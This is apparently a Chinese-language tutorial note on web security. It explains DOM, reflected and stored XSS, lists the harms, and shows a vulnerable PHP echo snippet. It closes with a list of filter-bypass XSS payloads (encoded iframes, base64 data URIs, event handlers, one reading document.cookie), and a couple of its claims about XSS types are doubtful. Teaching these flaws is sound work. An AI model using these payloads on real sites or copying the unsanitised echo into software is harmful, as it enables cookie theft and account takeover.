跳到主要内容

识别XSS、CSRF

XSS

XSS一般有三种分类,反射型XSS、存储型XSS、DOM型XSSS;,我们常说的XSS一般指的都是DOM型的。

经过上面的总结后,发现XSS出现的位置基本上是与JS交互很多。

具体说说DOM型的。

(不经过服务器,前端js代码的利用): 本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示: Alice给Bob发送一个恶意构造了Web的URL。 Bob点击并查看了这个URL。 恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。 具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。 Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

其他的, 反射型的,这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。 其攻击过程如下: Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。 Charly发现Bob的站点包含反射性的XSS漏洞。 Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。 Alice在登录到Bob的站点后,浏览Charly提供的URL。 嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。

再者就是危害最大的,但是也是最不容易实现的。

存储型(长久型,危害最大): 该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。其攻击过程如下: Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。 Charly注意到Bob的站点具有类型C的XSS漏洞。 Charly发布一个热点信息,吸引其它用户纷纷阅读。 Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。 类型A直接威胁用户个体,而类型B和类型C所威胁的对象都是企业级Web应用。

XSS危害

  1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马
  7. 控制受害者机器向其它网站发起攻击(重定向语句)
  8. 窃取cookie的sessionid,冒充登录。 XSS攻击利用到最大就需要自己有台服务器用于窃取信息,还要利用一点社工,骗取别人点击恶意的链接。

XSS攻击方案

<BODY onload="alert('xss')">
XSS攻击方案

上传文件进行执行,比如附件里面能够上传PHP文件,PHP里面写入一些XSS代码,常见的是如下

<?php
$xss = $_GET['x'];
echo $xss;
?>

httponly

如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。

绕过思路

标签语法替换 特殊符号干扰 提交方式更改 垃圾数据溢出 加密解密算法 结合其他漏洞绕过

大小写绕过 javascript伪协议 没有分号 Flash HTML5 新标签 Fuzz进行测试 双层标签绕过

<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
<div style="width:expression(alert(/1/))">1</div> ie浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
<math><a/xlink:href=javascript:prompt(1)>Xss

<math href="javascript:javascript:alert(1)">Xss</math>
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
<keygen/onfocus=prompt(1);>
<keygen onfocus=javascript:alert(1) autofocus>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
解码:<script>alert(1)</script>
<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>

CSRF和SSRF

这俩基本上很难利用 可以参考下面的文章,整体有个认识。 https://blog.csdn.net/qq_41895003/article/details/130764161